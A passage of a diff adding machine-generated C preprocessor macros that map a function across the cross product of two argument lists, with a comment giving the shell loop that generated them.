+#define M_CROSSI_MAP1_49b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) M_MAP2(f, a46, M_ID blist) M_MAP2(f, a47, M_ID blist) M_MAP2(f, a48, M_ID blist) M_MAP2(f, a49, M_ID blist) 
+#define M_CROSSI_MAP1_50(...) M_CROSSI_MAP1_50b(__VA_ARGS__)
+#define M_CROSSI_MAP1_50b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) M_MAP2(f, a46, M_ID blist) M_MAP2(f, a47, M_ID blist) M_MAP2(f, a48, M_ID blist) M_MAP2(f, a49, M_ID blist) M_MAP2(f, a50, M_ID blist) 
+#define M_CROSSI_MAP1_51(...) M_CROSSI_MAP1_51b(__VA_ARGS__)
+#define M_CROSSI_MAP1_51b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) M_MAP2(f, a46, M_ID blist) M_MAP2(f, a47, M_ID blist) M_MAP2(f, a48, M_ID blist) M_MAP2(f, a49, M_ID blist) M_MAP2(f, a50, M_ID blist) M_MAP2(f, a51, M_ID blist) 
+#define M_CROSSI_MAP1_52(...) M_CROSSI_MAP1_52b(__VA_ARGS__)
+#define M_CROSSI_MAP1_52b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51, a52) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) M_MAP2(f, a46, M_ID blist) M_MAP2(f, a47, M_ID blist) M_MAP2(f, a48, M_ID blist) M_MAP2(f, a49, M_ID blist) M_MAP2(f, a50, M_ID blist) M_MAP2(f, a51, M_ID blist) M_MAP2(f, a52, M_ID blist) 
+
+
+/* Map a function f to each pair of arguments from the arglist 'a' and the arglist 'b', with an additional given data.
+   M_CROSS_MAP2(f, dat, (a,b), (c,d) ) ==> f(dat, a, c) f(dat, a, d) f(dat, b, c) f(dat, b, d) */
+#define M_CROSS_MAP2(f, d, alist, blist)    M_CROSSI_MAP2(f, d, alist, blist)
+#define M_CROSSI_MAP2(f, d, alist, blist)  M_C(M_CROSSI_MAP2_, M_NARGS alist)(f, d, blist, M_ID alist)
+/* Generated by :
+for i in $(seq 1 52) ; do
+    printf "#define M_CROSSI_MAP2_%d(...) M_CROSSI_MAP2_%db(__VA_ARGS__)\n" $i $i ;
+    printf "#define M_CROSSI_MAP2_%db(f, d, blist" $i ; for j in $(seq 1 $i) ; do printf ", a%d" $j ; done ; printf ") " ;
+    for j in $(seq 1 $i) ; do printf "M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a%d), M_ID blist) " $j; done ;
+    printf "\n" ;
+done
+*/
+#define M_CROSSI_MAP2_1(...) M_CROSSI_MAP2_1b(__VA_ARGS__)
+#define M_CROSSI_MAP2_1b(f, d, blist, a1) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) 
+#define M_CROSSI_MAP2_2(...) M_CROSSI_MAP2_2b(__VA_ARGS__)
+#define M_CROSSI_MAP2_2b(f, d, blist, a1, a2) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) 
+#define M_CROSSI_MAP2_3(...) M_CROSSI_MAP2_3b(__VA_ARGS__)
+#define M_CROSSI_MAP2_3b(f, d, blist, a1, a2, a3) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) 
+#define M_CROSSI_MAP2_4(...) M_CROSSI_MAP2_4b(__VA_ARGS__)
+#define M_CROSSI_MAP2_4b(f, d, blist, a1, a2, a3, a4) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) 
+#define M_CROSSI_MAP2_5(...) M_CROSSI_MAP2_5b(__VA_ARGS__)
+#define M_CROSSI_MAP2_5b(f, d, blist, a1, a2, a3, a4, a5) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) 
+#define M_CROSSI_MAP2_6(...) M_CROSSI_MAP2_6b(__VA_ARGS__)
+#define M_CROSSI_MAP2_6b(f, d, blist, a1, a2, a3, a4, a5, a6) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) 
+#define M_CROSSI_MAP2_7(...) M_CROSSI_MAP2_7b(__VA_ARGS__)
+#define M_CROSSI_MAP2_7b(f, d, blist, a1, a2, a3, a4, a5, a6, a7) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) 
+#define M_CROSSI_MAP2_8(...) M_CROSSI_MAP2_8b(__VA_ARGS__)
+#define M_CROSSI_MAP2_8b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) 
+#define M_CROSSI_MAP2_9(...) M_CROSSI_MAP2_9b(__VA_ARGS__)
+#define M_CROSSI_MAP2_9b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) 
+#define M_CROSSI_MAP2_10(...) M_CROSSI_MAP2_10b(__VA_ARGS__)
+#define M_CROSSI_MAP2_10b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) 
+#define M_CROSSI_MAP2_11(...) M_CROSSI_MAP2_11b(__VA_ARGS__)
+#define M_CROSSI_MAP2_11b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) 
+#define M_CROSSI_MAP2_12(...) M_CROSSI_MAP2_12b(__VA_ARGS__)
+#define M_CROSSI_MAP2_12b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) 
+#define M_CROSSI_MAP2_13(...) M_CROSSI_MAP2_13b(__VA_ARGS__)
+#define M_CROSSI_MAP2_13b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) 
+#define M_CROSSI_MAP2_14(...) M_CROSSI_MAP2_14b(__VA_ARGS__)
+#define M_CROSSI_MAP2_14b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) 
+#define M_CROSSI_MAP2_15(...) M_CROSSI_MAP2_15b(__VA_ARGS__)
+#define M_CROSSI_MAP2_15b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) 
+#define M_CROSSI_MAP2_16(...) M_CROSSI_MAP2_16b(__VA_ARGS__)
+#define M_CROSSI_MAP2_16b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) 
+#define M_CROSSI_MAP2_17(...) M_CROSSI_MAP2_17b(__VA_ARGS__)
+#define M_CROSSI_MAP2_17b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) 
+#define M_CROSSI_MAP2_18(...) M_CROSSI_MAP2_18b(__VA_ARGS__)
+#define M_CROSSI_MAP2_18b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) 
+#define M_CROSSI_MAP2_19(...) M_CROSSI_MAP2_19b(__VA_ARGS__)
+#define M_CROSSI_MAP2_19b(f, d, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a3), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a4), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a5), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a6), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a7), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a8), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a9), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a10), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a11), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a12), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a13), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a14), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a15), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a16), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a17), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a18), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a19), M_ID blist) 
+#define M_CROSSI_MAP2_20(...) M_CROSSI_MAP2_20b(__VA_ARGS__)
